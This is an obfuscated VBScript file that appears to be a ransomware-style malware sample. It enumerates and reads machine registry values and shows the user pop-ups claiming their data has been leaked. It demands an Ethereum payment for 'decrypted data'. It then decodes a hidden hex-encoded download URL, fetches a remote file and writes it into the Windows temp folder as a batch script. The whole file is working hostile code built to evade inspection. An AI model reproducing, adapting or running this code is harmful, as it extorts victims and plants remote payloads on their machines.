Function OwOwO(h)
  Dim a : a = Split(h)
  Dim i
  For i = 0 To UBound(a)
      a(i) = Chr("&H" & a(i))
  Next
  OwOwO = Join(a, "")
End Function

Function Nautilus(ByVal sBase64EncodedText, ByVal fIsUtf16LE)
    Dim sTextEncoding
    if fIsUtf16LE Then sTextEncoding = "utf-8"
    With CreateObject("Msxml2.DOMDocument").CreateElement("aux")
        .DataType = "bin.base64"
        .Text = sBase64EncodedText
        Nautilus = BUtil(.NodeTypedValue, sTextEncoding)
    End With
End Function

function BUtil(ByVal byteArray, ByVal sTextEncoding)
    If LCase(sTextEncoding) = "utf-8" then
        BUtil = CStr(byteArray)
    Else
        With CreateObject("ADODB.Stream")
            .Type = 1
            .Open
            .Write byteArray
            .Position = 0
            .Type = 2
            .CharSet = sTextEncoding
            BUtil = .ReadText
            .Close
        End With
    End If
end function


Function XA3bVjQ3(A0CQ5, B9HW3)
    Dim nFBRW6, X7IDP
    On Error Resume Next
    Set nFBRW6 = CreateObject(StRREverse("llehS.tpircSW"))
    X7IDP = nFBRW6.RegRead(A0CQ5)
    If err.number <> 0 Then
        xA3bVjQ3 = B9HW3
    Else
        xA3bVjQ3 = X7IDP
    End If
    Set nFBRW6 = Nothing
End Function

strComputer = "."
 
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _ 
    strComputer & "\root\default:StdRegProv")
 
strKeyPath = "SYSTEM\CurrentControlSet\Control"
strUser = CreateObject("WScript.Network").UserName

oReg.EnumValues HKEY_LOCAL_MACHINE, strKeyPath, _
    arrValueNames, arrValueTypes

res = Msgbox("Hi " & strUser & ", your data have been compromised!", vbOKCancel+vbCritical, "")

For jj=0 To UBound(arrValueNames)
    Select Case arrValueTypes(jj)
        Case REG_SZ, REG_EXPAND_SZ, REG_DWORD
            str = XA3bVjQ3("HKLM\" & strKeyPath & "\" & arrValueNames(jj), "Winny")
            res = Msgbox(arrValueNames(jj) & " LEAKED: " & query(str), vbOKCancel+vbCritical, "")
    End Select 
Next

res = Msgbox("Please transfer ETH to 0xebd08c5e0dac4e1e1762be5bdca0dcfa76f7a5691af73acc8e148537209bab33 to receive decrypted data...", vbOKOnly+vbInformation, "")

v3xDF0elUqts = Replace("68LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP3aLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP62LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP52LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP42LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP43LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP6cLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP47LOPPLPOPLPO.LPLPOLPOLPOP57LOPPLPOPLPO.LPLPOLPOLPOP49LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP4cLOPPLPOPLPO.LPLPOLPOLPOP4bLOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP46LOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP48LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP58LOPPLPOPLPO.LPLPOLPOLPOP48LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP78LOPPLPOPLPO.LPLPOLPOLPOP36LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP50LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP69LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP6bLOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP55LOPPLPOPLPO.LPLPOLPOLPOP30LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP39LOPPLPOPLPO.LPLPOLPOLPOP6eLOPPLPOPLPO.LPLPOLPOLPOP4eLOPPLPOPLPO.LPLPOLPOLPOP5aLOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP34LOPPLPOPLPO.LPLPOLPOLPOP4fLOPPLPOPLPO.LPLPOLPOLPOP63LOPPLPOPLPO.LPLPOLPOLPOP4dLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP79LOPPLPOPLPO.LPLPOLPOLPOP32LOPPLPOPLPO.LPLPOLPOLPOP71LOPPLPOPLPO.LPLPOLPOLPOP44LOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP72LOPPLPOPLPO.LPLPOLPOLPOP54LOPPLPOPLPO.LPLPOLPOLPOP53LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP59LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP35LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP45LOPPLPOPLPO.LPLPOLPOLPOP77LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP7aLOPPLPOPLPO.LPLPOLPOLPOP56LOPPLPOPLPO.LPLPOLPOLPOP5fLOPPLPOPLPO.LPLPOLPOLPOP41LOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP6fLOPPLPOPLPO.LPLPOLPOLPOP66LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP31LOPPLPOPLPO.LPLPOLPOLPOP68LOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP33LOPPLPOPLPO.LPLPOLPOLPOP76LOPPLPOPLPO.LPLPOLPOLPOP38LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP64LOPPLPOPLPO.LPLPOLPOLPOP2fLOPPLPOPLPO.LPLPOLPOLPOP4aLOPPLPOPLPO.LPLPOLPOLPOP75LOPPLPOPLPO.LPLPOLPOLPOP73LOPPLPOPLPO.LPLPOLPOLPOP74LOPPLPOPLPO.LPLPOLPOLPOP2dLOPPLPOPLPO.LPLPOLPOLPOP49LOPPLPOPLPO.LPLPOLPOLPOP6dLOPPLPOPLPO.LPLPOLPOLPOP61LOPPLPOPLPO.LPLPOLPOLPOP67LOPPLPOPLPO.LPLPOLPOLPOP65LOPPLPOPLPO.LPLPOLPOLPOP2eLOPPLPOPLPO.LPLPOLPOLPOP6aLOPPLPOPLPO.LPLPOLPOLPOP70LOPPLPOPLPO.LPLPOLPOLPOP67", "LOPPLPOPLPO.LPLPOLPOLPOP", " ")

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", OwOwO(v3xDF0elUqts), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile Nautilus(StRREVErsE(replace("=Q*************Yi5iUzQFNMt0Y0IE*************w1WZ0x1c39GZul2dcpzY", "*************", "X")), False), 2
end with